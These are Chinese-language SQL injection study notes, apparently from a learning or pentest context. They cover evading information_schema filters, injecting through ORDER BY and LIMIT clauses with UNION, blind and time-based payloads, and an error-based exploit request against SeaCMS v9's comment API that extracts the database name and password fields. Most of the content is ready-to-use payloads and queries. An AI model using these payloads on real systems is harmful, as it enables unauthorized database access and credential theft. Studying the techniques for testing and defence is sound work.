order by、limit、seacmsv9联合注入数据
1、绕过information_schema过滤
1.1替代系统表/视图
-- 使用sys库(MySQL 5.7+)
SELECT table_name FROM sys.schema_auto_increment_columns
WHERE table_schema = DATABASE();
-- 使用InnoDB统计表
SELECT table_name FROM mysql.innodb_table_stats
WHERE database_name = DATABASE();
1.2使用 mysql.innodb_table_stats
SELECT table_name FROM mysql.innodb_table_stats WHERE database_name = DATABASE();
1.3使用 mysql.tables_priv
SELECT table_name FROM mysql.tables_priv WHERE db = DATABASE();
1.4编码混淆技术
编码 | 实列 |
URL 编码 | SELECT table_name FROM %69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61.tables WHERE table_schema=DATABASE(); |
Unicode 编码 | SELECT table_name FROM information\u005f_schema.tables WHERE table_schema=DATABASE(); |
十六进制编码 | SELECT table_name FROM 0x696e666f726d6174696f6e5f736368656d61.tables WHERE table_schema=DATABASE(); |
二、绕过ORDER BY注入限制
2.1 联合查询注入
UNION SELECT 1,2,(SELECT table_name FROM information_schema.tables LIMIT 1) --
2.2盲注技术对比
类型 | 示例 |
布尔盲注 | ORDER BY IF(ASCII(SUBSTR(DATABASE(),1,1))=97,1,2) |
时间盲注 | ORDER BY IF(ASCII(SUBSTR(DATABASE(),1,1))=97,SLEEP(5),1) |
正则匹配 | ORDER BY (SELECT table_name) REGEXP '^a' |
2.3分页提取数据
ORDER BY (SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET 0);
三、Seacmsv9报错注入
3.1 漏洞利用过程
GET /comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,
extractvalue(1,concat_ws(0x20,0x5c,database())),@`%27`
3.2 报错结果分析
<!-- 成功会显数据库名 -->
<error>XPATH syntax error: '\ test_db'</error>
<!-- 密码字段截断处理 -->
extractvalue(1,concat_ws(0x20,0x5c,mid((SELECT password),1,30)))
3.3concat_ws和 concat的区别
特性 | CONCAT | CONCAT_WS |
空值处理 | 任一参数为NULL则返回NULL | 自动跳过NULL值 |
分隔符 | 无 | 首个参数为分隔符 |
使用场景 | 简单的字符串拼接 | 需要分隔符的字符串拼接(如日期、路径) |